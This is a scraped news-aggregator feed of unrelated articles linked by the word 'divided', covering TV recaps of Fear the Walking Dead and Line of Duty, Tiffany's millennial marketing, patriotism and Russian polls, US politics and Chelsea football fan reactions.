]]> https://briefnews.eu/divided-loyalties-and-painful-partings-take-centerstage-in-the-lord-of-the-rings-the-rings-of-power/feed/ 0 Fear the Walking Dead Recap: Divided We Fall — Plus, Victor Gets ‘Stranded’ https://briefnews.eu/fear-the-walking-dead-recap-divided-we-fall-plus-victor-gets-stranded/ https://briefnews.eu/fear-the-walking-dead-recap-divided-we-fall-plus-victor-gets-stranded/#respond Mon, 19 Oct 2020 02:57:49 +0000 https://briefnews.eu/fear-the-walking-dead-recap-divided-we-fall-plus-victor-gets-stranded/ In Sunday’s Fear the Walking Dead, Strand did what Virginia believed was impossible, in so doing earning himself a reward that looked an awful lot like a punishment. Read on, and I’ll explain why.

fear-the-walking-dead-recap-season-6-episode-2-welcome-to-the-club‘YOU AND I ARE NEVER GONNA CLEAN ANOTHER LATRINE AGAIN’ | As “Welcome to the Club” began, a group of prisoners in numbered jumpers was led into a sugar-processing plant and tasked by Ginny’s Rangers — at gunpoint, natch — to dispatch the horde of walkers trapped behind a door. All of them — the survivors, that is, not the walkers — had disobeyed Virginia and therefore deserved to be in the grave; this, the head baddie explained, was their chance to dig themselves out. But the door jammed, molasses oozed out, and one by one, the Rangers and the prisoners all got dragged to their sugary deaths, all except for prisoner No. 41, Sanjay. After the opening credits rolled, Strand and Alicia, apparently on latrine duty outside of Lawton (Fear’s answer to Woodbury?), got into it with Ranger Marcus — to the point that Virginia’s teenage sister Dakota (new cast member Zoe Colletti) was moved to intervene on their behalf.

Of course, Strand and Alicia still landed in hot water, so they were ushered into Virginia’s office, where they interrupted the haircut that she was receiving from Daniel, who… whaaat? Didn’t recognize his friends at all. “His memory’s like a card catalog,” Ginny explained, “but the cards are all mixed up” since he tried too hard to keep Skidmark with him, and things got ugly. (Not my Skidmark! Ginny, you bastard!) As for the duo’s punishment, Virginia was going to send them “somewhere that better suits your natural talents” — in other words, the sugar-processing plant. Before they were driven there, Strand expressed his pity for Daniel. “You told me to remember who I was in here,” said Victor. “You can’t even do the same.” In response, the barber gave Strand his St. Christopher medal to ease the heavy burden that he seemed to be carrying.

‘HOPE YOU’RE STILL BREATHING WHEN I GET BACK’ | At the plant, Alicia and Strand were reunited with Charlie, who was being punished for trying to run away, and Janice. What had she done? The better question, she said, was “what did they catch me doing?” In no time, Strand decided that they were going to take over the place. But that was going to be tough to do when the walkers were coated in syrup like Homer Simpson’s sweetest dream and worst nightmare, the Rangers had guns, and though there were more prisoners than Rangers, they had only spears and s–t. Also, one of the prisoners was Sanjay, who admitted that when the massacre went down, “I was just the a–hole that watched.” Definitely B-team material. As Strand and Alicia were discussing their plan and whether to abort, they discovered that they’d not only gotten a delivery of pointy objects, they’d gotten a stowaway — Dakota, who revealed not only her tie to Virginia but that she was most definitely not a fan of her sib.

The teenager was, however, a fan of Strand and Alicia’s. She’d seen their old tapes; that was why she was sure they’d help her escape from Lawton. And at Virginia’s, she’d overheard everything, about the weapon at the plant that the Pioneers’ leader wanted so badly, the deal that Victor had cut with Ginny — everything. Deal? asked Alicia. The one in which Victor gave their nemesis the SWAT van in exchange for not being separated from Madison’s daughter. “Daniel told me to remember who I was,” he reiterated to Alicia. Well, being with her helped him do that, to remain someone in whose eye he could look. Hard to be mad at a reason like that. Sooo it was agreed that they’d clear the walkers, get the weapon and use it against Ginny. Easy peasy. Only it turned out there was a full-blown horde behind that door, and before you could say “change of plans,” things had started going south.

fear-the-walking-dead-recap-season-6-episode-2-welcome-to-the-club‘THEY’LL CHOOSE FRESH MEAT EVERY TIME’ | Sanjay, as he was wont to do, froze, Charlie got yanked backwards by her ponytail and nearly bitten — Dakota leapt into the fray to save her, thank goodness — and soon, the Rangers were all being ripped limb from limb. (No big loss, that.) When Strand ran outside to honk a horn and lure away the walkers, he found Sanjay hiding in the van. Since the zombies wanted nibbles, not noise, Strand reverted to his old ways and — whoa — stabbed Sanjay, using him as live bait to distract the walkers long enough for Janice and Alicia to get the Rangers’ guns. “You said you wished you had the guts to stand up to [the Rangers],” Strand said to his victim before anyone was around. Well, “today’s your day to be a hero.” And also dinner. “I tried to stop him,” Victor lied to his friends, “but this is what he wanted. He did this for us.”

At any rate, the group now had access to the mystery weapon, which… didn’t actually exist! Dakota hadn’t made it up, she just hadn’t known there was no actual weapon. “The thing I’m looking for ain’t here,” Virginia told Strand when she arrived. “It’s you, a true leader. You are the key.” With that, she presented him with a Pioneers key — he was now an official Scout — and informed him that he’d just formed an army. He could do with it whatever he wanted, but come time for “the big show… y’all best be ready.” Whatever “the big show” was. As the episode neared its conclusion, Charlie tried to jog Daniel’s memory with the Traveling Wilburys — to no avail. Afterwards, Alicia learned that Strand was keeping Janice where she was, on laundry duty, while sending her away. He no longer wanted to remember who he was. He couldn’t. “To do all the things that I need to now, for all of us, I have to forget that person,” he told Alicia, “and I can’t do it with you by my side.” With that, he gave her the St. Christopher’s medal that is clearly going to be the season’s hot potato.

fear-the-walking-dead-recap-season-6-episode-2-welcome-to-the-club‘YOU LOOK LIKE YOU COULD USE A HAIRCUT’ | In the hour’s final moments, Daniel waited until Ranger Hill had driven him outside the gates of Lawton (en route to Paradise Ridge) to “remember” that he’d left behind his best scissors. When the Ranger went back to retrieve them, the barber whistled… and someone whistled back — and killed an approaching walker. “Much obliged, friend, if in fact you are a friend,” said Daniel. Oh, it was a friend alright, it was Morgan! Not only that, but Daniel recognized him. “I thought it was you she was looking for,” said the barber, as sharp as his razor. So, what did you think of “Welcome to the Club”? Strand’s return to the dark side? Charlie’s near-miss? So far, I’m liking this season much better than last. You? Hit the comments.

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]]> https://briefnews.eu/fear-the-walking-dead-recap-divided-we-fall-plus-victor-gets-stranded/feed/ 0 Line of Duty season 5 finale: Viewers DIVIDED over series ending amid major cliffhanger https://briefnews.eu/line-of-duty-season-5-finale-viewers-divided-over-series-ending-amid-major-cliffhanger/ https://briefnews.eu/line-of-duty-season-5-finale-viewers-divided-over-series-ending-amid-major-cliffhanger/#respond Sun, 05 May 2019 22:28:10 +0000 http://briefnews.eu/line-of-duty-season-5-finale-viewers-divided-over-series-ending-amid-major-cliffhanger/

WARNING THIS STORY CONTAINS DETAILS AND SPOILERS FROM LINE OF DUTY SERIES 5 EPISODE 6. 

Line of Duty series five, episode six kicked off earlier this evening and after six extremely long, agonising weeks, many were left disappointed when the answer to ‘Who is H’ was half answered. 

Throughout the evening, fans flocked to social media preparing for the major revelation as well as giving their predictions. Read the step by step account of all the major details in the epic finale. 

20:10 – Some fans are convinced they are not going to find out the real identity of H. “I don’t think we’ll find out who H is tonight” someone said whilst another stated “we are not finding out who H is tonight. It’s too neat and tidy.” 

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20:30 – There is also the suggest that Matthew ‘Dot’ Cottan (played by Craig Parkinson) is going to return.

In an epic twist some have predicted “i don’t care what anyone says, I still think Dot is alive!” Whilst someone else commented: “Do we know for certain Dot died? Have a feeling he may surface again in the finale.” 

20:50 – With many refusing to believe Superintendent Ted Hastings (Adrian Dunbar) is guilty, some have started to look closer to his connections and in particular his wife.

“H is Hastings wife,” one commented whilst another fan said: “Curve ball: Hastings wife is dodgy.” 

21:05 – “Let’s not fall out over this, I’m sure we can all work along nicely.”

DCS Patricia Carmichael (Anna Maxwell Martin) is on fire as she attempts to persuade Detective Sergeant Steve Arnott (Martin Compston) and Detective Inspector Kate Fleming (Vicky McClure) to help her investigate their Gaffer. “AC-12 failed to bring him down, I won’t.” 

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Line of Duty season 5 finale LIVE: Viewers reactions ahead of the final episode (Image: BBC)

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21:07 – “It’s Michelle isn’t it? Listen Michelle, we’re AC-12 we do this to other units week in week out so don’t try telling me how this works. We’re witnesses not suspects, so stop making a tit of yourself and p*** off.” 

Kate lays into AC-3 officer Michelle and viewers are loving it! “YES @Vicky_McClure BEST LINE EVER.” Another said: “That’s her told,” whilst a third commented: “GO ON KATE LASS”. 

21:15 – PCC Senior Legal Counsel Gill Biggeloe (Polly Walker) just shut down DCS Patricia when she attended the interview of Hastings as an observant. 

“Why wasn’t I informed?” PCS Patricia and Gill hit back smirking: “You just were!”

But those watching at home were not convinced by Gill’s motives: “Gill coming to his rescue? I’m grateful but suspicious.” Another added: “Is she there to sabotage?”

21:20 – DCS Patricia is on fire tonight as she rips into Hastings during the interrogation, but viewers are divided over whether to love or hate her character!

“DCS Carmichael is absolutely unbearable isn’t she. Anna Maxwell is fantastic,” someone wrote on Twitter. One other said: “Oh god not this women again.” 

“Christ, Carmicheal is brutal, but damn she is good. I want to hate her, but she has done her research on Ted!” Someone else suggested. 

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Line of Duty season 5 spoilers: Patricia was dividing viewers (Image: BBC)

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Line of Duty season 5 spoilers: Hastings broke down when he found out about Corbett (Image: BBC)

LINE OF DUTY SEASON 5: WHERE IS IT FILMED? WHERE IS IT SET? 

21:28 – Hastings has just found out Ann-Marie McGillis’ son was in fact John Corbett/Clayton (Stephen Graham). 

But judging by the Gaffer’s emotional response to this news, many are questioning whether he is Corbett’s father in a major plot twist. 

“Oh my… Was John Ted’s son????” One said whilst another added: “Are they insinuating Corbett was Ted’s son?” 

21:36 – Uh oh, the worst has happened. Viewers are ‘bored’. We’re only 36 minutes in and the character assassination on dear Hastings is getting too much for some. 

“Line of Duty is driving me up the wall GET TO THE POINT,” a Tweet read. Another said: “Is anyone else a bit bored?” 

21:43 – “Take him to the cells” DCS Patricia has found new evidence which proves Hastings is H. 

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Line of Duty season 5 spoilers: Hastings is being grilled by Patricia (Image: BBC)

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Line of Duty season 5 spoilers: Kate and Steve arrive with evidence (Image: BBC)

LINE OF DUTY: IS HASTINGS BEING FRAMED? 

21:47 – Hastings is raging: “I did not kill Corbett,” but DCS Patricia has other thoughts: “I have sufficient evidence to charge you with the murder of John Corbett.” 

“No, I’m being framed! I did not murder Corbett. I am not corrupt. I am the one leading the investigation against the highest level of corruption. I’m not H!” The nation’s favourite shouts. 

This has got fans “blood boiling”. A viewer commented online: “someone save Ted.” 

21:56 – Fans are holding out hope for Kate and Steve to swoop in and save the day, although many are getting impatient at how long they are taking whilst Hastings is taking a battering from DCS Patricia in the interrogation room. 

“S*** Ted looks bad. What are Kate and Steve doing?” A viewer wrote. Another said: “FFS come on Kate and Steve! What are you doing?” A third mentioned: “Where the hell are Steve and Kate?” 

22:04 – The calvary arrives! Kate and Steve have stormed into the interrogation room and taken over. But Hastings isn’t pleased to see them: “Well the last thing I need right now is another knife in my back.” 

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Line of Duty season 5 spoilers: Gill has been exposed (Image: BBC)

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Line of Duty season 5 spoilers: Tina tried to kill Gill – but why? (Image: BBC)

LINE OF DUTY: WILL THERE BE ANOTHER SERIES?

22:06 – Kate reads Gill her rights and the room falls silent. Is Gill H? 

“Gill Biggeloe you do not have to say anything but it may harm your defence if you do not mention anything in question something you rely on in court. Anything you do say may be used in evidence.” 

22:08 – Kate explains: “Gill Biggeloe sought incriminating material on Superintendent Hastings and then used it to manipulate John Corbett into believing Superintendent Hastings is H.”

Viewers are loving the dream-team Kate and Steve. One said: “Finally!! Go Steve and Kate!” Whilst another added: “Kate and Steve save the day yipeeeeee!!!!!” 

22:14 – From one emotion to another, viewers are now in turmoil as a major plot twist no on expected sees Tina attempt to stab Gill. 

21:16 – Lisa McQueen (Rochenda Sandall) appears for the first time this episode as she is interviewed about Corbett being an undercover cop. But is she withholding information for a specific reason? Could Lisa be an undercover officer too? 

21:20 – Ryan Pilkington (Gregory Piper) throws a spanner into the works when he appears in front of a panel during an Student Police Officer interview. But what is the relevance to this? Could he have a secret link to H? 

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Line of Duty season 5 spoilers: Ryan is going to become a Police Officer (Image: BBC)

Not giving viewers much time to think, they are thrown back to Kate and Steve re-examinating the evidence of Dot’s dying decleration. 

“Dot was trying to tell us something before he lost consciousness. He couldn’t speak because of the gun shot wound to his chest, but he could move his hand,” Kate explains. 

“Tap, tap, tap, tap. Morse code. Dot, dot, dot, dot.” And Steve adds: “Letter H in Morse code is four dots. H is not an initial, it’s a clue. Four dots, four police staffs with leads in organised crime.” 

“Dot, Hilton, Gill plus one more,” Kate explains regarding the members of H and Steve concludes: “And they’re [the fourth member of H is] still out there.” 

Who is the fourth and final member of H? Could it be Roz Huntley? 

Line of Duty

Line of Duty season 5 spoilers: Is Roz the final H? (Image: BBC)

22:25 – Whilst writer Jed Mercurio sort-of answered the burning question of ‘Who is H’, viewers were left divided over the cliffhanger. 

“Bad ending. Whole H thing just needed wrapping up once and for all not to be extended,” someone suggested. Another added: “Well that was a huge left down for an end of Series! Disappointing.” One fan remarked: “Well what a load of unsatisfying shite that was.” 

But some enjoyed the style: “Thoroughly enjoyed it. This is called Sunday night entertainment. Thank you for an amazing finale.” Whilst one Tweet said: “That was a great series, I will be back for series 6.” 

Line of Duty concludes tonight at 9pm on BBC One. 

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]]> https://briefnews.eu/line-of-duty-season-5-finale-viewers-divided-over-series-ending-amid-major-cliffhanger/feed/ 0 ‘The Walking Dead’ says goodbye to Rick on an emotional cliffhanger and fans are a bit divided https://briefnews.eu/the-walking-dead-says-goodbye-to-rick-on-an-emotional-cliffhanger-and-fans-are-a-bit-divided/ https://briefnews.eu/the-walking-dead-says-goodbye-to-rick-on-an-emotional-cliffhanger-and-fans-are-a-bit-divided/#respond Mon, 05 Nov 2018 12:10:10 +0000 http://briefnews.eu/the-walking-dead-says-goodbye-to-rick-on-an-emotional-cliffhanger-and-fans-are-a-bit-divided/ rick the walking dead 905 bleedingJackson Lee Davis/AMC

Warning: There are major spoilers ahead for Sunday’s episode of “The Walking Dead,” “What Comes After.”

Andrew Lincoln’s final episode of “The Walking Dead” aired Sunday on AMC and we finally know what became of Rick after he fell on a piece of rebar. It’s a bit of a doozy. 

See the rest of the story at Business Insider

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]]> https://briefnews.eu/the-walking-dead-says-goodbye-to-rick-on-an-emotional-cliffhanger-and-fans-are-a-bit-divided/feed/ 0 Wanderlust BBC spoilers: Viewers divided over Toni Collette drama 'All over the place!' https://briefnews.eu/wanderlust-bbc-spoilers-viewers-divided-over-toni-collette-drama-all-over-the-place/ https://briefnews.eu/wanderlust-bbc-spoilers-viewers-divided-over-toni-collette-drama-all-over-the-place/#respond Tue, 25 Sep 2018 22:35:07 +0000 http://briefnews.eu/wanderlust-bbc-spoilers-viewers-divided-over-toni-collette-drama-all-over-the-place/

Wanderlust follows actress Toni Collette, 45, starring as Joy Richards who is a therapist trying to find a way to keep the spark with her husband, Alan Richards (Steven Mackintosh), alive.

It comes after a cycling accident caused her to reassess their relationship.

The couple decided to have an open relationship after years of marriage.

Tonight’s episode saw Joy and Alan’s experiment, and the marriage itself, face its biggest test yet after public and private factors threatened to tear the two of them apart.

Tom (Joe Hurst) had to finally figure out who he wanted and exactly how he’s meant to get them.

Events placed Alan’s job in jeopardy, whilst bereavement in Lawrence’s life brought him and Joy ever closer.

Those watching at home are still divided over the show, four episodes into the series.

One viewer tweeted: “Most terrible drama I have seen lately, absolute rubbish #wanderlust.”

“I had high hopes for #Wanderlust despite lots of people’s criticism and the terrible ratings – but tonight’s episode was absolutely all over the place!” posted another.

A third asked: “Why am I even still watching this sh**e? #wanderlust.”

“Really need to give up on watching #wanderlust,” wrote another.

However, others loved tonight’s continuation of the BBC One show.

One viewer tweeted: “Love #wanderlust @ZaweAshton Is amazing in it!!!”

“It pains me, it physically pains me, that #Wanderlust is getting such poor ratings. I don’t think I’ve hated BARB viewers this much since River flopped,” said another.

A third added: “So many things I am enjoying about BBC’s #Wanderlust. Tonight, my appreciation is for Nick Payne’s writing and the realistic portrayal of female sexual desire.”

A synopsis for next week’s episode teases the unveiling of several secrets.

The synopsis reads: “In the midst of all the turbulence in her life, Joy’s regular therapy session with Angela becomes an in-depth exploration of the secrets Joy has been hiding from everyone, even herself.

“Wanderlust looks at how we build and maintain happy relationships and asks if lifelong monogamy is possible – or even desirable.

“Wanderlust is a searingly insightful and funny exploration of the relationships of a multi-generational family.”

Wanderlust continues next Tuesday on One at 9pm.

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]]> https://briefnews.eu/wanderlust-bbc-spoilers-viewers-divided-over-toni-collette-drama-all-over-the-place/feed/ 0 Tiffany’s Sparkly Surge Reflects a Divided Moment in America https://briefnews.eu/tiffanys-sparkly-surge-reflects-a-divided-moment-in-america/ https://briefnews.eu/tiffanys-sparkly-surge-reflects-a-divided-moment-in-america/#respond Wed, 29 Aug 2018 17:20:24 +0000 http://briefnews.eu/tiffanys-sparkly-surge-reflects-a-divided-moment-in-america/ In a video posted online in May, the actress and model Elle Fanning slouches up to a Tiffany store in an oversized hoodie, holding a take-out coffee cup, to admire the window display. It’s a deliberate play on Breakfast at Tiffany’s, with “Moon River” playing in the background. But as Fanning stands there, in black-and-white, looking both admiring and a bit glum—It’s all beautiful, but can she afford it?—the image turns to color, and a hip-hop beat, from A$ AP Ferg, comes in. Soon, Fanning is prancing, bejeweled, through New York; her backup troupe includes a cop and a group of uniformed schoolgirls—all wearing hints of Tiffany blue.

As recently as last year, Tiffany, like a lot of luxury brands, was struggling to get Millennials to buy its products. Common wisdom would suggest that this is because Millennials are an unusually hard-up generation, thanks in part to student debt, the long hangover from the recession, and lower marriage rates (which translates to lower household income).

Tiffany, though, saw a marketing problem. In the past, it had managed to maintain a reputation as a luxury brand while also appealing to aspirationally minded, upper-middle-class Baby Boomers and Gen Xers who would buy lower-priced trinkets such as keychains. But in more recent years, the brand seemed to be losing its appeal, partly because its Upper East Side image meant young people weren’t as impressed by it as they used to be.

In October, Tiffany hired Alessandro Bogliolo, the former chief executive of the Italian apparel brand Diesel, as its CEO, and Bogliolo set out to rebrand the company for the Instagram age, introducing more personalizable jewelry (common wisdom is that Millennials care more about individualism than fitting in), graffitiing Tiffany’s flagship New York store (part of a trend in “brandalism”), planning a major renovation of that shop (built around young people’s preference for interesting experiences over products), and introducing a Millennial-oriented marketing campaign called “Believe in Dreams” (of which the Fanning video is the centerpiece).

On Tuesday, Tiffany reported better-than-expected quarterly sales and said its earnings for the year would be higher than it had earlier thought. In a call with analysts, Bogliolo credited the Believe in Dreams campaign for creating a “modern interpretation of the historical legacy of Tiffany.” The Fanning video’s message, according to a press release, is that “New York is a place where anything can happen, and Tiffany is where dreams come true.” There’s a Hepburnish, city-girl-next-door quality to Fanning’s character in the video that viewers seem to have responded to; it conveys an accessibility that hasn’t historically been associated with the Tiffany brand. “Can y’all invite [me] next time?” reads one top comment on the video, which has been viewed more than 10 million times. “This looked dope.”

Tiffany’s success might have more to do with broad economic conditions than with its marketing. In October, The New York Times, citing data from the consulting firm Bain, reported that people born between 1980 and 2010 had generated 80 percent of the growth in the luxury industry over the previous year. Other luxury companies are also thriving—Gucci and Michael Kors, among others, have also issued positive earnings reports—in part by appealing to the young.

But which young? It would seem impossible that the student-debt generation is responsible for a luxury boom—yet this is also the Crazy Rich Asians generation. Student debt and low minimum wages aren’t dragging down all Millennials. In 2003 and 2005, only one person under the age of 30 appeared on Forbes’s list of the world’s billionaires; by 2010, there were five of them, and by 2017, there were nine. The Credit Suisse Research Institute said in a report last year that Millennials are likely to face a bigger wealth gap than previous generations. “We expect only a minority of high achievers and those in high-demand sectors such as technology or finance to effectively overcome the ‘millennial disadvantage,’” the report’s authors wrote.

Is Tiffany gaining customers among the down-and-out-in-hoodies demographic? Of course not. Brands like Tiffany have never depended on the fortunes of the masses. As ever, the company makes a great deal of its money from items such as $ 175 silver pendants, which are considered small ticket, as far as the luxury industry goes, but aren’t exactly meant for working-class people. Meanwhile, the Tiffany Paper Flowers collection, which the Fanning video advertises, includes a $ 5,500 ring made of tiny diamonds in the shape of a flower and a $ 75,000 platinum-and-diamond necklace. Tiffany also sells $ 100 “paper” cups (actually made of china) that would seem to be marketed for beer pong—or magic tricks. It seems a complicated branding strategy is afoot—one fully grounded in the economics of the present moment. If the graffiti, the hip-hop video, and the dorm-room glassware can help cleanse Tiffany of its traditional air of snootiness, wealthy young people, aware of what the 99 percent thinks of them and their privilege, might feel a bit better while wearing its jewels.

]]> https://briefnews.eu/tiffanys-sparkly-surge-reflects-a-divided-moment-in-america/feed/ 0 Is Military Service Patriotic? America Stands Divided https://briefnews.eu/is-military-service-patriotic-america-stands-divided/ https://briefnews.eu/is-military-service-patriotic-america-stands-divided/#respond Sat, 07 Jul 2018 11:02:58 +0000 http://briefnews.eu/is-military-service-patriotic-america-stands-divided/ Americans pausing today to watch the sky light up in patriotic displays are divided on whether and how to express love of country, a schism that bleeds into its basic symbols and strongest institutions. Only 61 percent of the country considers serving in the military to be patriotic.

That’s the most striking number OZY and SurveyMonkey found in measuring how Americans feel about their country in an exclusive nationwide poll. We conducted the research to mark our arrival in the United States on our journey Around the World. The unease across our nation is far broader and deeper than attitudes toward President Trump. The troops, the flag, the anthem — the very nature of being American — are all under question in this uncertain era.

“I would have thought the average person on the street, with a 95 percent likelihood, would have said, ‘Heck, yeah, veterans are patriotic; military service is patriotic,’” says Andrew Bacevich, a Boston University historian, Vietnam veteran and prominent critic of the military. Reflecting further on “the Trump moment,” Bacevich adds that some could see “patriotism as somehow suggestive of crazy right-wingers.” But Americans aren’t rejecting patriotism altogether. When given a wide range of options — including everything from paying taxes to owning a gun — only 3 percent said “none of the above” would be patriotic.

Asked to give one word to describe America, the most popular response was “divided.”

SurveyMonkey/OZY online poll

The big winner? Voting, which 77 percent of respondents agreed was a patriotic act. (If only all of them were patriots; only 56 percent of eligible voters turned out in 2016, ranking the U.S. near the bottom of the developed world.)

Most of the responses showed wide partisan gulfs on the nature of American patriotism. On the military question, 76 percent of Republicans said military service was patriotic, compared to 52 percent of Democrats. Republicans also were more likely to add the mantle of patriotism to displaying the American flag (78 percent to 42 percent), singing the national anthem (76 to 42) and saying the Pledge of Allegiance (78 to 39).

Reluctance to be hit in the pocketbook, though, is bipartisan: Supporters of both parties were almost evenly split on whether paying taxes is patriotic. Democrats, meanwhile, were more likely to say protesting or participating in a rally is patriotic (43 percent to 16 percent).

Perhaps, then, it’s no surprise that when asked to give one word to describe America, the most popular response was “divided.”

American Patriotism Word Web:

The divisions aren’t just partisan; they’re racial and generational. Fully 35 percent of Black respondents and 33 percent of Hispanics said strong patriotic feelings do more to divide Americans, compared to just 22 percent of whites.

People 65 and older seem to have a rosier view of the U.S. Nearly 4 in 10 say they’re prouder now about being American than they were five years ago, says Erin Pinkus, research scientist at SurveyMonkey, who helped conduct the poll. “Only one-quarter of millennials feel the same way,” she adds. “Older adults are also less likely to agree with negative stereotypes about Americans than younger generations.”

This SurveyMonkey/OZY online poll was conducted May 16-20, 2018, sampling 4,731 adults, including 942 millennials (18‐ to 34-year-olds). Respondents for these surveys were selected from the nearly 3 million people who take surveys on the SurveyMonkey platform each day. The modeled error estimate for the full sample is plus or minus 2 percentage points. Data has been weighted for age, race, sex, education and geography using census data to reflect the demographic composition of the United States ages 18 and over. The full results can be found here, and a breakdown by demographics is located here.

But is this era of American history uniquely divided? We did, after all, have a civil war. More recently the Vietnam War, the civil rights movement and the Iraq War prompted mass demonstrations and even violence.

“We’ve always fought over what patriotism actually means,” says Julian Zelizer, a presidential historian at Princeton University. “Even though we think of it as something that’s obvious and self-evident, it’s not. In the civil rights era, a lot of civil rights activists made the claim that to be patriotic was to fight for the civil rights of African-Americans here in the country and not simply fight abroad.”

The symbols, too, have long come under scrutiny. The constitutionality of American flag burning was an issue in the 1988 presidential race, and the question of whether schoolchildren should be required to recite the Pledge of Allegiance — “under God” and all — has long been contentious.

American Patriotism Poll Results (6)

But the current divisions come amid an erosion of faith in institutions across the board — from the church to the media. And while the military is still highly trusted, we’re increasingly disconnected from it in the post-draft era. In 2016, 7 percent of U.S. adults were veterans, compared to 18 percent in 1980.

For the divides of the past, Zelizer points out there was at least a common media forum and culture in which to have these debates. Now many Americans are stuck in self-reinforcing and radicalizing bubbles. While these are long-term trends, Donald Trump does share in the blame — insofar as many Americans find him so odious that they don’t want to associate themselves with symbols related to him. And that could mean the flag.

Controversy is good business for Valley Forge Flag, even if the divisions pain vice president of sales Reggie VandenBosch. His Pennsylvania-based firm is one of only a couple of national U.S. flag manufacturers, and he serves on the board of the Flag Manufacturers Association of America. Across the $ 300 million industry, VandenBosch says sales were up 6 percent year-on-year in both 2016 and 2017, but have been flat this year. He credits — or blames — politics.

Trump’s rise in 2016, and the controversy around NFL players kneeling during the national anthem last year, sent people to the flag store to show their support. Even as those events likely drained overall support for the flag as a patriotic symbol, they juiced intensity. While toxic politics are hardly in decline this year, he says, the improved economy has people more at ease, and there’s been no major galvanizing event like the NFL.

VandenBosch chuckles ruefully when I tell him 78 percent of Republicans say displaying the American flag is patriotic, compared to just 42 percent of Democrats. The flag “stands for the base principles that we’re all supposed to have and live by, not just one party or the other,” he says. “That’s unfortunate that there is a divide like that. So if you know how to fix that, let’s all get together.”

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]]> https://briefnews.eu/is-military-service-patriotic-america-stands-divided/feed/ 0 All change? Russians divided over expectations following presidential vote https://briefnews.eu/all-change-russians-divided-over-expectations-following-presidential-vote/ https://briefnews.eu/all-change-russians-divided-over-expectations-following-presidential-vote/#respond Mon, 02 Apr 2018 11:32:48 +0000 http://briefnews.eu/all-change-russians-divided-over-expectations-following-presidential-vote/ Almost half of all Russians expect major national changes within the next year, following the March presidential election. The overwhelming majority of those expecting changes said they would be for the better.

According to the results of a recent poll by the state-run research center VTSIOM, 45 percent of Russians “expect significant changes in the life of their country in the nearest year.” Forty-eight percent said that they did not anticipate any major changes in the next 12 months, while 7 percent of respondents could not answer the question.

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Pavel Grudinin, director, Sovkhoz imeni Lenina, former Communist Party's presidential candidate, attends a joint plenary meeting of the Communist Party's Central Committee and Control Review Commission © Iliya Pitalev

Of those who think that Russia will face major changes in the near future, 87 percent expect that these changes will be for the better and only 9 percent believe the opposite.

The head of VTSIOM’s department for political consulting, Mikhail Mamonov, said that the situation was fairly typical for the period following a nationwide political campaign. “The reason behind this is the voters’ certainty that the elected candidates would realize their programs,” he said.

A separate poll conducted by the independent public opinion research center Levada at the end of March showed that currently 81 percent of Russians approve of Vladimir Putin’s work as president, up from 76 percent in February. The share of those who approve of Dmitry Medvedev’s work as prime minister increased from 39 to 44 percent.

The same survey showed that 63 percent of Russians think that their country is moving in the right direction, up from 54 percent one month ago.

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]]> https://briefnews.eu/all-change-russians-divided-over-expectations-following-presidential-vote/feed/ 0 After disaster in Pennsylvania, Trump’s allies are divided on what his strategy should be next https://briefnews.eu/after-disaster-in-pennsylvania-trumps-allies-are-divided-on-what-his-strategy-should-be-next/ https://briefnews.eu/after-disaster-in-pennsylvania-trumps-allies-are-divided-on-what-his-strategy-should-be-next/#respond Sun, 18 Mar 2018 14:31:10 +0000 http://briefnews.eu/after-disaster-in-pennsylvania-trumps-allies-are-divided-on-what-his-strategy-should-be-next/ Donald TrumpJeff Swensen/Getty Images

  • President Donald Trump is on a bit of a losing streak after Pennsylvania’s special election.
  • Some are concerned about his campaigning strategy moving into the 2018 midterms.

President Donald Trump’s preferred candidates have been on a recent losing streak in recent months, leading his allies to question what his strategy should be moving forward into the 2018 midterms.

This week, Republican Rick Saccone dropped a special election to Democrat Conor Lamb in Pennsylvania’s 18th Congressional District by a razor-thin margin. But the district had gone for Trump by 20 points in 2016 and sent former Republican Rep. Tim Murphy to office without much contest for the better part of two decades.

See the rest of the story at Business Insider

NOW WATCH: BILL BROWDER: How sanctions on Russia hurt Putin’s closest allies

See Also:

SEE ALSO: Trump keeps wading into hot Republican primary battles to back the establishment candidate

]]> https://briefnews.eu/after-disaster-in-pennsylvania-trumps-allies-are-divided-on-what-his-strategy-should-be-next/feed/ 0 Chelsea fans confused and divided over Conte tactics as Morata benched against Southampton https://briefnews.eu/chelsea-fans-confused-and-divided-over-conte-tactics-as-morata-benched-against-southampton/ https://briefnews.eu/chelsea-fans-confused-and-divided-over-conte-tactics-as-morata-benched-against-southampton/#respond Sat, 16 Dec 2017 15:14:10 +0000 http://briefnews.eu/chelsea-fans-confused-and-divided-over-conte-tactics-as-morata-benched-against-southampton/

Alvaro Morata was left on the bench for Chelsea’s clash with Southampton as Antonio Conte opted to start Eden Hazard in a central role.

Blues fans are confused about the setup, with the after being sidelined with a back injury in midweek.

supporters are also unhappy about Tiemoue Bakayoko starting in central midfield alongside N’Golo Kante, while Danny Drinkwater was overlooked once more.

Take a look through the gallery above to see some of the best reactions from Chelsea fans to their starting XI against Southampton.

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Daily Express :: Sport Feed

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